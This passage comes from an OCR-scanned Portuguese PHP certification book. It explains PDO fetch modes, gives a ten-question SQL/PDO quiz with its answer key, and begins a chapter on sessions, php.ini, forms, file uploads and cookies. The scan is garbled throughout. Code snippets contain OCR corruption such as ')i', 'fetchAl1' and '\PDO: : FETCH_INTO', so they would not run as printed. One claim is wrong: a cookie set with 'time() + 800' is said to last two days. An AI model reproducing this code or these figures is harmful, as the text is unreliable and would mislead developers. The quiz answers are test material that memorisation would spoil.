flexibilidade bem grande, pois podemos utilizar $this para
referenciar a propria classe que estamos usando para resgatar os

dados, sem criar nenhuma classe auxiliar para representar os
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registros.

class Usuario {
private $pdo;

public function __construct()

{
// realiza conex&@o com o banco de dados
// $this->pdo = new PDO(..)

}

public function getUsuarios()

{
$prepare = $this->pdo->prepare(

'SELECT id, nome, email FROM usuarios'

)i
$prepare->setFetchMode (\PDO: : FETCH_INTO, $this);
$prepare->execute();
return $prepare->fetch();

1

}

$entidade = new Usuario();
print_r($entidade->getUsuarios());

No método construtor, realizamos a conexdo com o banco de
dados para que seja possivel resgatar os dados no método

getUsuarios , e é esse método que nos interessa, onde utilizamos o
\PDO: : FETCH_INTO .

Veja que passamos como segundo parametro $this , o que

quer dizer a instancia atual do objeto, que no nosso caso é o objeto

Usuario . Isso faz o PDO popular um array com os registros do
banco de dados do tipo Usuario . Veja o resultado que obtemos:

Usuario Object

(
[pdo:Usuario:private] => PDO Object

(
)

[id] => 1
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[nome] => Marabesi
[email] => marabesi@marabesi.com

Obtemos apenas os dados do usudrio Marabesi , pois usamos o

método fetch , que retorna a primeira linha encontrada no banco
de dados.

FETCH_LAZY

7

O  \PDO::FETCH_LAZY ¢é uma combinagdo dos modos
\PDO: :FETCH_BOTH e \PDO::FETCH_CLASS . Com isso, podemos
acessar os dados retornados como arrays associativos (informando
nome da coluna), arrays enumerativos (onde cada coluna representa
um numero comegando do zero) ou como objeto. Em nosso
exemplo, utilizamos as trés formas de acesso aos dados e obtemos o
mesmo resultado:
$prepare = $pdo->prepare(

'SELECT id, nome, email FROM usuarios'

)i
$prepare->execute();
$result = $prepare->fetch(\PDO::FETCH_LAZY);

print $result['id']; // 1
print $result[0]; // 1
print $result->id; // 1

Além disso, o resultado retornado do banco de dados ¢
encapsulado em um objeto PDORow , que ¢ produzido apenas no
momento em que ¢ acessado. Por isso, o seu nome possui a palavra
LAZY , que significa preguigoso. Ou seja, os registros sé sdo de fato
retornados no momento em que sao acessados.

PDORow Object

(
[queryString] => SELECT id, nome, email FROM usuarios
[id] => 1
[nome] => Marabesi
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[email] => marabesi@marabesi.com

Um detalhe importante ¢ que ndo conseguimos utilizar o
método fetchAll em conjunto com o modo
\PDO: :FETCH_LAZY , como mostra o cddigo a seguir, no qual
trocamos o método fetch por fetchAll.
$prepare = $pdo->prepare(

'SELECT id, nome, email FROM usuarios'

)i
$prepare->execute();
$result = $prepare->fetchAll(\PDO: :FETCH_LAZY);

Ao tentarmos executar esse script, um FATAL ERROR ¢ exibido,
nos informando que néo é possivel utilizar esse método:
PHP Fatal error: Uncaught exception 'PDOException' with message '
SQLSTATE[HY0GQ]: General error: PDO::FETCH_LAZY can't be used with
PDOStatement::fetchAll()' in /zce/pdo/fetch_lazy.php:13
Stack trace:
#0 /zce/pdo/fetch_lazy.php(13): PDOStatement->fetchAll(1)
#1 {main}
thrown in /zce/pdo/fetch_lazy.php on line 13
Esse tipo de erro é uma defesa do PHP para que seja cumprido o
modo "preguicoso” que ele foi setado para trabalhar, ao escolhermos
o modo \PDO::FETCH_LAZY . O modo preguicoso trabalha de

acordo com a demanda, sera acessado apenas o dado requisitado.

Utilizando o método fetchAll , esse modo é quebrado, pois
ele retornaria todos os registros de uma s6 vez, tornando sem
sentido o uso do modo preguigoso.

FETCH_NAMED

Para esse exemplo, vamos precisar criar uma nova tabela com o
nome de permissao para se relacionar com a nossa tabela

usuarios :
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CREATE TABLE IF NOT EXISTS “permissao’ (
“id® INT(11) NOT NULL AUTO_INCREMENT,
"nome” VARCHAR(45) NOT NULL,
‘usuarios_id® INT(211) NOT NULL,
PRIMARY KEY ('id’),

INDEX “fk_usuarios_id ™ (“usuarios_id"~ ASC),
CONSTRAINT “fk_usuarios_id"
FOREIGN KEY ( usuarios_id")
REFERENCES “usuarios™ (°id")
ON DELETE NO ACTION
ON UPDATE NO ACTION)
ENGINE = InnoDB
AUTO_INCREMENT = 1;

Agora temos uma nova tabela chamada permissao , com uma
chave estrangeira para a tabela usuarios , pois, para nosso
exemplo, um usudrio pode ter uma ou mais permissdes. E para
prosseguirmos, vamos inserir dois registros na tabela permissao :
INSERT INTO “permissao’ ( nome’, ‘usuarios_id’) VALUES ('Médulo ad
ministrativo', '1');

INSERT INTO “permissao” ( nome’, ‘usuarios_id') VALUES ('Médulo fi
nanceiro', '1');

Se vocé ndo percebeu ainda, temos uma coluna com o mesmo
nome na tabela usuarios enatabela permissao . Veja a seguir as
colunas e os seus valores, e repare na coluna nome que aparece
duas vezes: a primeira com o nome do usudrio e a segunda com o

nome da permissao.

[ S et B +
| nome | nome | email

[ S et B +
| Marabesi | Médulo administrativo | marabesi@marabesi.com |
| Marabesi | Médulo financeiro | marabesi@marabesi.com |
[ Syt O +

A instrugao SQL executada foi a seguinte:
SELECT u.nome, p.nome, u.email
FROM usuarios AS u

INNER JOIN permissao AS p on u.id = p.usuarios_id;

Mas o que o modo \PDO::FETCH_NAMED tem a ver com tudo
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isso? Muito simples, ao utilizar o modo \PDO: :FETCH_NAMED
colunas com o mesmo nome, é criado um array com o nome da
coluna (no nosso caso nome ) com os valores repetidos dentro desse
array:

$prepare = $pdo->prepare(
'SELECT u.nome, p.nome, u.email
FROM usuarios AS u
INNER JOIN permissao AS p on u.id = p.usuarios_id;"'

)i
$prepare->execute();

print_r($prepare->fetchAl1(\PDO: :FETCH_NAMED));

Ao executar o script, temos um array com a chave nome e,
dentro dele, os valores repetidos.

Array
(
[0] => Array
(
[nome] => Array
(
[0] => Marabesi
[1] => M6dulo administrativo
)
[email] => marabesi@marabesi.com
)
[1] => Array
(
[nome] => Array
(
[0] => Marabesi
[1] => Médulo financeiro

[email] => marabesi@marabesi.com
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Se ndo utilizarmos \PDO: : FETCH_NAMED € usarmos
\PDO: : FETCH_ASSOC , o valor que seria retornado na coluna
nome seria o valor da tabela permissao , pois eles aparecem

por ultimo na instru¢ao SQL.

FETCH_NUM

Como vocé deve ter deduzido pelo nome, com o modo

4

\PDO: :FETCH_NUM ¢ retornado um array enumerativo de cada
linha do banco de dados.

$prepare = $pdo->prepare('SELECT id, nome, email FROM usuarios');
$prepare->execute();
print_r($prepare->fetchAl1(\PDO: :FETCH_NUM));

E o resultado que temos ao selecionarmos todos os registros da
tabela usuarios ¢ o seguinte:

Array
(
[0] => Array
(
[e] => 1
[1] => Marabesi
[2] => marabesi@marabesi.com

)

[1] => Array
(
[0] => 2
[1] => Michael
[2] => michael@michael.com.br

9.10 NAO SE ATENTE A IMPLEMENTACAO E
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SIM A LINGUAGEM

Para a surpresa de muitos programadores, a prova de
certificagdo PHP exige que vocé tenha conhecimentos em SQL, pois,
além de ter o titulo de Zend Certified Engineer, a prova atesta que
vocé possui todas as habilidades necessdrias para ser um
desenvolvedor web completo.

A principal dica ao estudar sobre banco de dados relacional para
a certificagdo PHP ¢é ndo se importar com a implementagdo
especifica, como MySQL, MySQL Server, Oracle, entre outros. Mas
sim se preocupar com a linguagem SQL, que independe de quem
fornece a tecnologia.

Foque em comandos basicos como SELECT , UPDATE ,
DELETE , CREATE TABLE , e em algumas funcionalidades nao tao
populares, como PROCEDURES , TRIGGERS e, finalmente, em
criacao de indices com banco de dados. Raramente podem cair
algumas questdes sobre administragao de banco de dados (tomando
como base os simulados), mas entio cabe a vocé decidir se
aprofundar nesse topico ou nao.

Além disso, a prova abrange muito os seus conhecimentos sobre
PDO em si. Entdo, além dos topicos mostrados aqui, dé uma olhada
na documentacio oficial, em
http://php.net/manual/pt_BR/class.pdo.php. La  vocé pode
encontrar contribui¢oes de usudarios valiosas.

9.11 TESTE SEU CONHECIMENTO

1) Dada a seguinte tabela, qual é o valor da variavel $nome no
final do script a seguir?

id nome email

1 anna anna@example.com
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2 betty betty@example.com

3 clara clara@example.com

$pdo = new PDO(...);
$name = null;

$stmt = $pdo->prepare('SELECT * FROM names WHERE name = :name');
$stmt->bindvalue(':name', 'anna');
$stmt->execute();

while ($row = $stmt->fetch()) {
var_dump($name);

}

a) anna
b) betty
c) clara
d) null

2) Vocé esta usando um banco de dados, e vocé precisa deletar
algumas tabelas utilizando SQL. Qual das seguintes instrucoes
SQL vocé usaria?

a) DROP TABLE <table_name> FROM DATABASE
b) DELETE TABLE <table_name> FROM DATABASE
c) DELETE TABLE <table_name>

d) DROP TABLE <table_name>

3) Vocé trabalha como um administrador de banco de dados
para uma empresa, e ela utiliza um banco de dados Oracle. O
banco de dados contém duas tabelas: funcionarios e
departamentos. Vocé deseja recuperar todos os registros
correspondentes e nio correspondentes de ambas as tabelas. Qual
dos seguintes tipos de associagdes vocé usara para conseguir isso?

a) LEFT OUTER JOIN
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b) CROSS JOIN
c) RIGHT OUTER JOIN

d) FULL OUTER JOIN

4) Qual dos seguintes é um exemplo de uma conexao de banco
de dados que precisa ser criado uma vez no inicio de um script e,
em seguida, utilizado em todo o seu codigo?

a) Singleton

b) ActiveRecord

c) Model-view-controller
d) Factory pattern

5) Ao se conectar a um banco de dados usando PDO, o que
deve ser feito para garantir que as credenciais de banco de dados
nao falhem na conexao?

a) Utilizar bloco “try/catch’ para tratar qualquer exce¢do lancada

b) Utilizar constantes.
c) Colocar as credenciais no “php.ini’.

d) Desativar "E_STRICT e “E_NOTICE .

dados do banco?

$stmt = $dbh->prepare("SELECT * FROM USER where name = ?");
if ($stmt->execute(array($_GET['name']))) {

print_r($row);

3
3

a) $row = $stmt->fetchall()
b) $row = $stmt->getch()

c) $row = $stmt->fetch()
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d) $row = $stmt->get()

7) Qual a melhor descri¢io a seguir se aplica a instrugio
GROUP BY ?
a) "GROUP BY' automaticamente une os resultados em ordem decrescen
te.

a) 'GROUP BY' automaticamente une os resultados em ordem decrescen
te.

b) "GROUP BY  automaticamente une os resultados em ordem ascendent
e se a instrucdo 'DESC" ndo é definida.

c) "GROUP BY' retornar uma unica linha de cada grupo de informacéo
em conjunto com todas as outras linhas.

d) "GROUP BY" retornar uma uUnica linha de cada grupo de informacé&o

8) Angela trabalha como administradora de banco de dados

para a empresa AznoTech Inc, e ela escreve a seguinte instrugao
SQL:
SELECT Dept_Name, Emp_Name

FROM Departments dl1, Employees el

WHERE d1.Dept_No = el.Dept_No
ORDER BY Dept_Name, Emp_Name;

Qual o tipo de JOIN Angela esta utilizando em sua
instrucao?

a) self join

b) outer join
c) Equijoin

d) Non-equijoin

9) Vocé quer retornar todos os dados de uma tabela. Vocé
também quer ter certeza de que nenhum resultado duplicado
apareca. Qual das seguintes instrucdes vocé usaria para essa
tarefa?
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a) SELECT ... DISTINCT

b) SELECT ... WHERE
c) SELECT ... ALL
d) SELECT ... TOP

10) Qual das alternativas a seguir siao limita¢des ao
utilizarmos prepared statements? Selecione no minimo duas.

a) Prepared statements n&o permite vocé repetir a mesma instrucdo.

b) Prepared statements sdo limitados para as seguintes instrucfes:
"SELECT, "INSERT ', "REPLACE', "UPDATE", 'DELETE' e ‘CREATE TABLE

c) Prepared statements sdo mais lentas do que instrugdes normais,
ja que isso requer duas requisigdes para o MySQL server.

d) Prepared statements ndo previne SQL injection.

9.12 VIVER SEM BANCO DE DADOS?

Nas aplicagdes atuais, seria um tanto quanto complicado, porém
ndo impossivel, viver sem um banco de dados. Neste capitulo,
tentamos abordar todos os itens relacionados ao uso de banco de
dados com o PDO, que é o mais cobrado na prova de certificagdo.
Mas nao é so6 isso. Atente-se para as fun¢des que o PHP fornece
além do PDO, como pg_connect , que é usada para se conectar
especificamente com banco de dados postgres, e a classe Mysqli
(http://php.net/manual/pt_BR/book.mysqli.php) que substituiu a
familia de fungdées mysql_* que se relaciona apenas com banco de
dados MysQL .

Além das caracteristicas especificas do PHP, é muito cobrado as
instrugdes SQL, a linguagem universal dos bancos de dados
relacionais. Na prova, eles podem (e provavelmente vao) cobrar
sobre rotinas basicas, como por exemplo, como realizar consultas,
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manipular dados etc. Também existirdo as famosas pegadinhas:
ache o erro na seguinte instru¢do SQL (sendo que, as vezes, a
instrugdo esta perfeitamente correta). Por essas e outras, dedique
um tempo para desvendar apenas os mistérios do SQL.

9.13 RESPOSTAS

Verifique agora se vocé foi bem nas questdes. Caso ndo, nao
fique chateado. Tente ler novamente o capitulo agora ou depois, e
boa sorte!

QUESTOES

Questao 1 - Resposta correta: d
Questao 2 - Resposta correta: d
Questao 3 - Resposta correta: d
Questao 4 - Resposta correta: a
Questao 5 - Resposta correta: a
Questao 6 - Resposta correta: ¢
Questio 7 - Resposta correta: d
Questao 8 - Resposta correta: ¢
Questao 9 - Resposta correta: a

Questao 10 - Resposta correta: b e c

9.13 RESPOSTAS 311



CapiTuLo 10

CARACTERISTICAS WEB

O PHP sempre foi muito bem reconhecido gragas as suas
caracteristicas web, como sessdo, cookies, headers, entre outros,
tornando o seu uso muito simples. Neste capitulo, vamos abordar
como o PHP interage com essas caracteristicas e como podemos
utilizd-las.

10.1 SESSAO

O protocolo HTTP que usamos para diversas operagdes na web,
como navegar na internet ou consumir APIs, é um protocolo sem
estado (stateless), o que significa que ele ndo guarda nenhuma
informacao entre uma requisi¢do e outra. Porém, nas aplica¢des do
mundo real, podemos utilizar esse recurso, onde armazenamos
informagdes do usudrio em sessdo para ser possivel usa-las

posteriormente.

Esse tipo de comportamento é fornecido pelas linguagens de
programagdo e, em nosso caso, o PHP possui algumas fungoes e
configuragdes especificas para isso. Para que o PHP use uma sessao,
precisamos utilizar em todos os nossos scripts a funcido

session_start . Somente apds declard-la sera possivel definir e
resgatar valores na variavel global $_SESSION .

session_start();

Em nosso proximo exemplo, vamos compartilhar dados através
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de sessdo entre dois arquivos: um chamado index.php e outro
chamado exibir.php .

// index.php
session_start();
$_SESSION['perfil'] = 'Usuario';

Agora, no nosso outro arquivo exibir.php , podemos resgatar
esse valor:

// exibir.php
session_start();

print $_SESSION['perfil'],; //Usuario

Além de criarmos uma sessdo, é possivel podemos também
destrui-la com a fun¢do session_destroy .

session_start();
session_destroy();

Lembre-se sempre de que trabalhar com sessdo, mesmo para
destrui-las, é necessario usar a fun¢gdo session_start antes de
qualquer coisa.

E importante ressaltar que, para utilizar sessdo, devemos estar
executando uma aplicagdo web através de um navegador.
Aplicagdes para linha de comando (CLI) ndo possuem essa
caracteristica, tornando invidvel o seu uso. Essa é umas das
principais diferengas entre aplicagdes executadas por um
servidor web e aplicagdes executadas na linha de comando.

10.2 PHP.INI
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Temos diversas opg¢des de configuracdo para as nossas sessoes
no PHP, mas aqui focaremos nas que julgamos necessario e vital
para a prova de certificagdo (outras op¢oes de sessdo sao detalhas no
préximo capitulo). Veja a seguir o comego das configuragdes sobre
sessdo no arquivo php.ini (a partir dos caracteres [Session] ).
Como sdao muitas configuragdes, ndo conseguimos ver todas as
opgoes existentes na imagem:

[Session]
; Handler used to store/retrieve data.

; http://php.net/session.save-handler
session.save handler = files

; Argument passed to save handler. In the case of files, this is the path
; where data files are stored. Note: Windows users have to change this
; variable in order to use PHP's session functions.

; The path can be defined as:

; where N is an integer. Instead of storing all the session files in
; /path, what this will do is use subdirectories N-levels deep, and

; store the session data in those directories. This is useful if you
; or your 0S have problems with lots of files in one directory, and is
; a more efficient layout for servers that handle lots of sessions.

¢ session.save path = "N;/path"

Figura 10.1: Configuragoes voltadas a sessao no php.ini

A primeira configuragio que vamos ver ¢ a
session.save_path , na qual podemos definir o local de onde os
dados das sessdes sio armazenados.

session.save_path = "/foo/bar"

Por padrao, essa opgao vem comentada, e o PHP armazena os
arquivos de sessdo no diretdrio /tmp (em distribui¢des Linux).
Mas, caso vocé queira alterar o caminho de onde os arquivos sdo
salvos, basta alterar essa op¢ao. Veja adiante que alteramos o local
para /home/php/sessao .

session.save_path = "/home/php/sessao"

A segunda opgdo que vamos destacar aqui é a
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session.use_cookies , que faz o PHP utilizar cookies para
armazenar o id da sessdo. Por padrio, essa op¢do vem com o valor

1 (habilitada), pois quando desabilitamos essa opgdo, definindo o
valor para 0 (zero), é possivel visualizar o id da sessdo atual
através da URL, como mostra a nossa figura:

<« > O M@ [ localhost:8181/index.php?PHP

Figura 10.2: Acessando os dados da sessdo pela URL

Isso se torna bastante delicado, pois qualquer um que possuir o
id da sua sessdo conseguird ter acesso a todo o seu conteudo.
Sendo assim, é recomendado que sempre deixe essa op¢do
habilitada (definida com o valor 1 ), para que vocé ndo tenha
nenhuma dor de cabeca com roubos de sessio ou utilizacdo

indevida.

Seguindo nessa mesma lingua de raciocinio, temos a opg¢ao
session.use_only_cookies , que realmente obriga o PHP a usar
apenas cookies, garantindo que ndo seja possivel passar o id da
sessdo pela URL. Isso torna a nossa aplicagdo muito mais confiavel.
Essa opgdo vem com o valor 1 (habilitada) como padrao.

session.use_only_cookies = 1

A ultima opgao que destacamos aqui é a session.auto_start
que, quando habilitada (ou seja, definida com o valor 1 , como o
exemplo seguinte), ndo ¢ necessario utilizar a fungio

session_start . Isso porque, ao iniciarmos o nosso servidor web,
a sessdo sera iniciada automaticamente.

session.auto_start = 1

Por padrao, essa op¢ao é definida como desabilitada ( © ).

Os itens mostrados aqui sao ajustes finos no PHP para tornar o
uso de sessdes mais seguras e com maior controle do que vocé esta
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fazendo na sua aplica¢do. Lembre-se de que nao informamos aqui
todas as opg¢des possiveis de configuragao. Para se aprofundar mais,
acesse a pagina dedicada apenas as configuragdes de sessdo no
php.ini , em
http://php.net/manual/pt_BR/session.configuration.php.

10.3 FORMULARIOS

O PHP ¢ uma linguagem que nasceu voltada para a web e possui
alguns recursos interessantes para interagir com formularios. Nesse
topico, abordaremos como utilizar formularios e interagir com
diferentes formas de resgatar dados vindos dele. Para isso, vamos
assumir que vocé ja tem o conhecimento sobre HTML necessario.

<!-- arquivo : formulario.html -->

<form method="POST" action="dados.php">

Nome

<input type="text" name="nome" value="Matheus Marabesi e Micha
el Douglas"/>

Sexo
<input type="radio" value="feminino" name="sexo"/>
<input type="radio" value="masculino" name="sexo0"/>

Atividades

<input type="checkbox" name="atividades[]" value="natacao"/>Na
tacao

<input type="checkbox" name="atividades[]" value="basquete"/>B
asquete

<input type="checkbox" name="atividades[]" value="futebol"/>Fu
tebol

Descrigdo
<textarea name="descricao">Certificacdo PHP</textarea>
<input type="submit" value="Enviar"/>

</form>

A primeira coisa a se notar no nosso formulario ¢ a tag form ,
onde indicamos qual serad o tipo usado para enviar os dados para a
nossa pagina PHP, e o atributo action que indica a pagina na qual
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serdo enviados os dados do formuldrio.

Se nenhum atributo for indicado na tag form ao enviar o
formulario, sera utilizado o arquivo atual para enviar os dados.
E caso nenhum atributo method for informado ou o valor for
invalido, o método GET sera assumido.

// arquivo dados.php
print_r($_POST);

Ao submetermos o nosso formuldrio para o nosso script PHP

sem preencher nenhum valor, temos o seguinte resultado:

Array

(
[nome] => Matheus Marabesi e Michael Douglas
[descricao] => Certificacgdo PHP

Vocé deve estar imaginando onde estdo os outros valores? Pois
existem outros campos além do nome e da descrigao, certo? Temos
alguns comportamentos especiais quando se trata de elementos do
tipo radio e checkbox . Para que os dados desses elementos
sejam enviados para o script PHP do lado do servidor, é necessario
que pelo menos 1 (um) valor esteja selecionado.

Entdo, vamos alterar o nosso formuldrio para que ele envie esses
dados para o nosso script. Apenas editaremos a parte dos elementos
radio e checkbox ,e o resto do HTML ficard o mesmo.
Sexo

<input type="radio" value="feminino" name="sexo" checked/>
<input type="radio" value="masculino" name="sexo"/>

Atividades
<input type="checkbox" name="atividades[]" value="natacao" checked
/>Natacéo
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<input type="checkbox" name="atividades[]" value="basquete"/>Basqu
ete

<input type="checkbox" name="atividades[]" value="futebol"/>Futebo
1

Apds essa alteracao, ao executarmos novamente o envio do
formuldrio, obtemos a seguinte resultado:

Array
(

[nome] =>
[sexo] => feminino
[atividades] => Array

(

[0] => natacéo
[descricao] =>

Agora temos todos os itens que existem no formulario no lado
do servidor, porém devemos notar uma coisa: o campo
atividades se tornou um array. Isso ocorre pois usamos uma

notagao diferenciada no nome do elemento. Veja:

<input type="checkbox" name="atividades[]" value="natac&do" checked
/>Natacéo

<input type="checkbox" name="atividades[]" value="basquete"/>Basqu
ete

<input type="checkbox" name="atividades[]" value="futebol"/>Futebo
1

No atributo name , no final de seu nome, colocamos colchetes,
indicando que podera ser enviado mais de um valor para o mesmo
campo. Podemos utilizar essa nota¢ao para outros campos também,
como por exemplo, campos de texto:
<form method="POST" action="dados.php">

Nome

<input type="text" name="nome[]" value="Matheus Marabesi"/>

<input type="text" name="nome[]" value="Michael Douglas"/>
</form>

E se submetermos o formuldrio apenas com esses elementos,
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temos o seguinte resultado:

Array
(
[nome] => Array
(
[0] => Matheus Marabesi
[1] => Michael Douglas

Podemos ter esse comportamento para todos os campos
existentes no formuldrio text , textare , vradio ,

checkbox etc. Lembre-se sempre de que, ao usarmos a
notagdo com colchetes no final do atributo name , é possivel
ter multiplos valores e, no lado do servidor, sera enviado um
array com esses elementos.

Nomeando campos

Um detalhe importante que devemos nos atentar é quanto a
nomeacdo dos campos existentes no nosso formulario. Em PHP, ao
utilizarmos nomes dos elementos de um formulario com ponto final
(. ) ou espagos, eles sdo convertidos para underscores ( _ ).

No nosso exemplo a seguir, criamos um formuldrio que enviara
seus dados através do método POST para a pagina dados.php .
Esse formulario possui dois campos do tipo texto, com os nomes

nome do usuario e email.do.usuario . Repare que o primeiro
possui espagos em branco, e o segundo possui pontos finais, o que
farda o PHP substituir esses caracteres para underscores. Veja o
cddigo:

<form method="POST" action="dados.php">

Nome
<input type="text" name="nome do usuario " value="Matheus Mara
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besi e Michael Douglas"/>

E-mail
<input type="email" value="meu_email@meu_email.com.br" name="e
mail.do.usuario"/>

<input type="submit" value="Enviar"/>
</form>

Ao verificarmos os dados enviados para o script PHP no lado do
servidor, veja os nomes dos campos que sdo enviados:

Array
(

[nome_do_usuario] => Matheus Marabesi e Michael Douglas
[email_do_usuario] => meuemail@meuemail.com.br

Os campos com espago ou ponto final foram substituidos por
underscores. Isso vai ocorrer independentemente do método
especificado no atributo method .

Os valores validos para o atributo method sido POST e GET .
Para maiores informagdes, veja a documentagdo oficial
disponibilizada pelo W3C, em
http://www.w3.org/TR/html5/forms.html#attr-fs-method.

Enviando arquivos

Em determinadas aplicagdes, sera necessario o envio de arquivos
para o servidor. Para que isso ocorra, devemos realizar algumas
alteragdbes no nosso formuldrio e informar alguns atributos
especificos.
<form method="POST" action="processar_arquivo.php" enctype="multip
art/form-data">

Arquivo
<input type="file" name="arquivo"/>
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<input type="submit" value="Enviar"/>
</form>

Utilizar o atributo entype ¢é extremamente importante quando
usamos arquivos em formuldrios, pois, sem ele no elemento form ,
o arquivo ndo ¢é enviado para o servidor e a variavel global

$_FILES que utilizamos para resgatar os dados do arquivo ficara
vazia.

// arquivo processar_arquivo.php
print_r($_FILES);

Em nosso exemplo, estamos enviando um arquivo do tipo PDF
e, através da global $_FILES , conseguimos ter acessos aos dados
enviados para o servidor.

Array
(
[arquivo] => Array
(

[name] => php_e_tdd.pdf
[type] => application/pdf
[tmp_name] => /tmp/phppAbC
[error] => 0
[size] => 1234

E é claro que se vocé precisar enviar varios arquivos em um
formulario s6, é muito simples, pois s6 precisamos usar a notagao
de array no elemento file .
<form method="POST" action="processar_arquivo.php" enctype="multip
art/form-data">

Arquivo 1
<input type="file" name="arquivo[]"/>

Arquivo 2
<input type="file" name="arquivo[]"/>

<input type="submit" value="Enviar"/>
</form>
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Resgatamos da mesma forma os nossos arquivos enviados, pela
variavel global $_FILES :

print_r($_FILES);

Mas repare que agora para os itens name , type , tmp_name ,
error e size, sdo arrays com todos os arquivos enviados para o
servidor, cada um com os dados referentes ao arquivo selecionado.

Array
(
[arquivo] => Array
(
[name] => Array
(

[0] => php.pdf
[1] => capa.png

)

[type] => Array
(
[0] => application/pdf
[1] => image/png
)

[tmp_name] => Array
(
[1] => /tmp/phpabc
[2] => /tmp/phpccc
)

[error] => Array

(
[0] => ©
[1] => ©
)

[size] => Array
(
[1] => 220
[2] => 400

Envio de arquivos em detalhe
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Mostramos até agora como podemos utilizar a combinagdo de
HTML através dos formularios criados com o lado do servidor com
o PHP, onde utilizamos as varidveis globais para interagir com o que
o usuario nos envia. Entretanto, ndo passamos pelas configuragdes
que podemos manipular pelo php.ini para fazer alguns ajustes
finos no envio de arquivos, como limitar o nimero de arquivos
enviados por requisi¢ao, o tamanho do arquivo enviado etc.

; File Uploads ;

; Whether to allow HTTP file uploads.

; http://php.net/file-uploads

file uploads = On

; Temporary directory for HTTP uploaded files (will use system default if not
; specified).

; http://php.net/upload-tmp-dir

;upload tmp dir =

; Maximum allowed size for uploaded files.

; http://php.net/upload-max-filesize

upload max filesize = 2M

; Maximum number of files that can be uploaded via a single request
max file uploads = 20

Figura 10.3: Opgdes do php.ini para configurar o upload de arquivo

A primeira op¢ao que vemos é a file_uploads , usada para
permitir o envio de arquivos. Essa diretiva deve possuir o valor on
para que seja possivel enviar arquivos. Devemos tomar cuidado ao
mudarmos o valor para 0ff , pois, com isso, desabilitamos o envio
de arquivos e, ao tentarmos enviar qualquer arquivo para o PHP, a
variavel global $_FILES sempre retornara um array vazio.

Array ( )

A segunda op¢ao que temos é a upload_tmp_dir , que
utilizamos para definir em qual lugar o PHP vai manter os arquivos
enviados até que sejam movidos. Podemos ver esse caminho através
da chave tmp_name na varidvel global $_FILES . No nosso
exemplo, todos os arquivos enviados sdo temporariamente salvos na
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pasta tmp .

Array
(

[arquivo] => Array

(
[name] => php_e_tdd.pdf

[type] => application/pdf
[tmp_name] => /tmp/phpabc
[error] => 0

[size] => 1234

A terceira op¢ao que vamos ver ¢ a upload_max_filesize ,
que nos permite controlar o tamanho maximo permitido para
enviar o arquivo. Veja na figura anterior que essa opgao possui o
valor 2M (2 megabytes). Se um arquivo maior que 2MB for enviado,
o PHP vai definir a chave error da variavel global $_FILES para

1, o que indica que o tamanho do arquivo enviado é maior do que
o permitido.

Array
(
[arquivo] => Array
(

[name] => arquivo_maior_que_2mb.pdf
[type] =>
[tmp_name] =>
[error] => 1
[size] => 0

Todos os nimeros possiveis que a chave error pode ter vocé
encontra  em  http://php.net/manual/pt_BR/features.file-
upload.errors.php.
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Por dltimo, possuimos a op¢do max_files_upload , que limita
0 numero maximo de possiveis arquivos enviados para o PHP em
uma unica requisi¢do. No nosso caso, limitamos esse nimero para
20. Se tentarmos enviar 21 arquivos, um WARNING serd exibido:

wWarning: Maximum number of allowable file uploads has been exceede
d in Unknown on line ©

E o altimo arquivo da lista sera removido, ou seja, apenas os 20
primeiros arquivos serdo efetivamente enviados.

10.4 COOKIES

Utilizamos cookies através da web para armazenar dados na
maquina do usudrio em vez do servidor, para que posteriormente
tenhamos acesso as informagdes salvas. Diversos sites hoje em dia
usam cookies de diferentes maneiras: para armazenar preferéncias
do usudrio, dados de acesso, além de armazenar também o
identificador da sessao utilizada no PHP. O cookie é o que faz o
PHP conseguir criar a sessdo entre o cliente e o servidor.

Se vocé desejar entender a fundo o que ¢, como funciona e o
que

acontece por tras do protocolo HTTP, veja o RFC oficial sobre
cookies em http://www.fags.org/rfcs/rfc6265.html.

Com uma aplicagdo PHP, também podemos definir nossos
proprios cookies através da fungdo setcookie . A maneira mais
bésica de definirmos um cookie é por meio de seu nome e valor:

setcookie('livro', 'Certificacédo PHP');

Mas ¢é possivel definir um cookie sem valor algum, pois o tnico
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valor obrigatorio na fungio utilizada pelo PHP é o seu nome:
setcookie('livro');

Dessa maneira, ja definimos um cookie que sera armazenado na
maquina do usudrio. Porém, é preciso se atentar a dois detalhes
muito importantes. O primeiro é que o cookie sera definido na
maquina do usuario na primeira requisi¢ao, e s6 sera possivel ler o
valor definido na préxima requisi¢do ao servidor. A segunda é que
se nenhum tempo de expiracdo for passado, o cookie existird
enquanto o navegador estiver aberto; se o usuario fechar, o cookie é
excluido.

Q D Elements Metwork Sources Timeline Profiles | Resources | Audits Console PageSpeed
»CJFrames
£ websQL
» [ {IndexedDB
» [ Local Storage
» [ Session Storage
v & Cookies

B8 localhost

» [ Application Cache

Figura 10.4: Definindo um cookie

Veja essa figura. Nos executamos o script PHP para definir o
cookie 1livro , mas nada é exibido na lista de cookies ativos no
navegador.

Q Elomarts Matwork Sources Timsine Profiles | Resowrces| Audes Console PageSpesd

Figura 10.5: Cookie definido ap6s o recarregamento da pagina

Apos recarregarmos a pagina, conseguimos visualizar o nosso
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cookie com o valor Certificacdo PHP . Veja que o valor do cookie
¢ escapado antes de ser armazenado. Observe também que o valor
na coluna Expires / Max-Age estd Session , o que nos indica
que o cookie serd deletado assim que o navegador fechar.

Para acessar o valor definido no cookie, o PHP nos fornece uma
maneira muito facil pela varidvel global $_COOKIE .

print_r($_COOKIE);

7

Como a varidvel global $_COOKIE ¢ um array associativo,
obtemos o seguinte resultado:

Array
(

[livro] => Certificacdo PHP
)

Dessa forma, acessaremos todos os cookies definidos para o

dominio, mas também ¢é possivel acessar um cookie em especifico.
print_r($_COOKIE['livro']); // Certificacdo PHP

Geralmente, cookies sdo utilizados para durarem mais do que
apenas a sessio atual do navegador. Para que isso acontega,
devemos informar o terceiro parametro para a fun¢do setcookie
com o tempo que desejamos que o cookie dure. Esse tempo deve ser
definido por segundos.

setcookie('livro', 'Certificacdo PHP', time() + 800);

Nosso cookie agora vai durar 2 dias a partir do dia atual. Isso
nos permite acessa-lo em qualquer local do nosso website. Mas, em
algum dado momento, vocé pode querer restringir a utilizagdo de
algum cookie de acordo com o dominio em que vocé esta.

Imagine que queremos definir um cookie para ser utilizado
apenas quando acessarmos http://localhost/livro . Para tal,
devemos utilizar o quarto parametro da fungdo sercookie :
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setcookie('livro', 'Certificacdo PHP', time() + 100, '/livro');

10.5 HTTP HEADERS

Hoje em dia, o desenvolvimento moderno abstrai varias coisas
de nos, desenvolvedores, para nos tornarmos produtivos. Um desses
itens sdo os cabecalhos HTTP. Muitos frameworks abstraem toda a
manipula¢ao de cabecalho, deixando-nos apenas preocupados como
